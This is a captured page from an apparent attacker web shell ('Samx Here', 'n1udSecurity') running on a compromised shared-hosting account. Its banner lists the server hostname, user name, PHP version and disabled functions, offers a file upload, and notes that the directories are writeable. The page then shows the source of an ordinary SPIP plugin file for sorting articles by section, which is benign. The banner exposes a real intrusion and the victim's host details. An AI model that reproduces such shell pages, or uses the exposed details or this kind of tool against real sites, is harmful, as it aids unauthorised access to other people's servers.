Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins/auto/tri_par_rubrique/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins/auto/tri_par_rubrique/tri_par_rubrique_fonctions.php
<?php
/**
 * Fonctions utiles au plugin Tri des articles par rubrique
 *
 * @plugin     Tri des articles par rubrique
 * @copyright  2019
 * @author     nicod_
 * @licence    GNU/GPL
 * @package    SPIP\Tri_par_rubrique\Fonctions
 */

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

/**
 * Génère la liste des critères de tri d'article utilisables sur les rubriques
 *
 * @return array
 */
function filtre_tri_par_rubrique_criteres_dist($id_rubrique) {
	$criteres = array(
		'date'       => _T('tri_par_rubrique:tri_articles_date'),
		'maj'        => _T('tri_par_rubrique:tri_articles_maj'),
		'titre'      => _T('tri_par_rubrique:tri_articles_titre'),
		'num titre'  => _T('tri_par_rubrique:tri_articles_num_titre'),
		'id_article' => _T('tri_par_rubrique:tri_articles_id_article'),
	);

	// pour les rubriques, proposer le choix "Configuration par défaut"
	$config_defaut = lire_config('tri_par_rubrique', array());
	if (isset($config_defaut['trirub_articles']) && $id_rubrique) {
		$label = _T('tri_par_rubrique:tri_articles_defaut')
			. ' (' . _T('tri_par_rubrique:tri_articles_' . $config_defaut['trirub_articles'])
			. ($config_defaut['trirub_articles_inverse'] ? ' - ' . _T('tri_par_rubrique:tri_articles_inverse') : '') . ')';
		$criteres = array_merge(array('defaut' => $label), $criteres);
	}

	if (
		test_plugin_actif('rang')
		and function_exists('rang_liste_objets')
		and in_array('articles', rang_liste_objets())
	) {
		$criteres['rang'] = _T('tri_par_rubrique:tri_articles_rang');
	}

	foreach ($criteres as $key => $value) {
		$criteres[ $key ] = _T('tri_par_rubrique:tri_articles_par') . ' ' . $value;
	}

	return $criteres;
}

/**
 * Critère tri_rubrique, qui affiche les articles selon le tri défini sur la rubrique dans l'espace privé
 *
 * @param $idb
 * @param $boucles
 * @param $crit
 *
 * @return void
 */
function critere_tri_rubrique_dist($idb, &$boucles, $crit) {

	$boucle = &$boucles[ $idb ];

	// Uniquement les boucles articles sont concernées par le critère de tri.
	if ($boucle->id_table != 'articles') {
		return array('zbug_tri_rubrique_sur_articles_uniquement');
	}

	// Existence d'un collate ou pas
	$collecte = '';
	if (isset($boucle->modificateur['collate'])) {
		$collecte = $boucle->modificateur['collate'];
	}

	// Détermination du tri configuré pour la rubrique ou globalement par défaut si aucun id_rubrique dans l'environnement
	$boucle->order[] = 'calculer_tri_rubrique($Pile, (isset($collecte) ? $collecte : ""))';
}

function calculer_tri_rubrique($Pile, $collecte = '') {
	// chercher l'id_rubrique dans le contexte
	do {
		$depile = array_pop($Pile);
		$id_rubrique =  isset($depile['id_rubrique']) ?  $depile['id_rubrique'] : null;
	} while(!$id_rubrique && !empty($Pile));

	// On construit l'expression de tri.
	$tri = tri_rubrique_champ(intval($id_rubrique));
	// cas spécial "par num titre"
	if($tri == 'num titre'){
		$tri = '0+titre';
	}
	$sens = tri_rubrique_sens($id_rubrique) ? 'DESC' : 'ASC';

	return "$tri $collecte $sens";
}

function tri_rubrique_champ($id_rubrique) {
	static $cache;
	if(isset($cache[$id_rubrique])){
		return $cache[$id_rubrique];
	}

	// On initialise le champ à vide.
	$champ = '';

	if ($id = intval($id_rubrique)) {
		// On a bien un id_rubrique dans l'environnement
		$champ = sql_getfetsel('trirub_articles', 'spip_rubriques', 'id_rubrique=' . $id);
	}

	if (!$champ) {
		// Pas d'id_rubrique ou pas de valeur pour la rubrique, on se rabat sur la config globale
		include_spip('inc/config');
		$champ = lire_config('tri_par_rubrique/trirub_articles');
	}

	$cache[$id_rubrique] = $champ;

	return $champ;
}

function tri_rubrique_sens($id_rubrique) {
	static $cache;
	if(isset($cache[$id_rubrique])){
		return $cache[$id_rubrique];
	}

	// On initialise la variable à false pour la distinguer de 0.
	$inverse = false;

	if ($id = intval($id_rubrique)) {
		if(sql_getfetsel('trirub_articles', 'spip_rubriques', 'id_rubrique=' . $id)) {
			$inverse = sql_getfetsel('trirub_articles_inverse', 'spip_rubriques', 'id_rubrique=' . $id);
		} else {
			// Si pas de valeur de tri pour la rubrique, on se rabat sur la config globale
			include_spip('inc/config');
			$inverse = lire_config('tri_par_rubrique/trirub_articles_inverse');
		}
	}

	$cache[$id_rubrique] = $inverse;

	return $inverse;
}

SAMX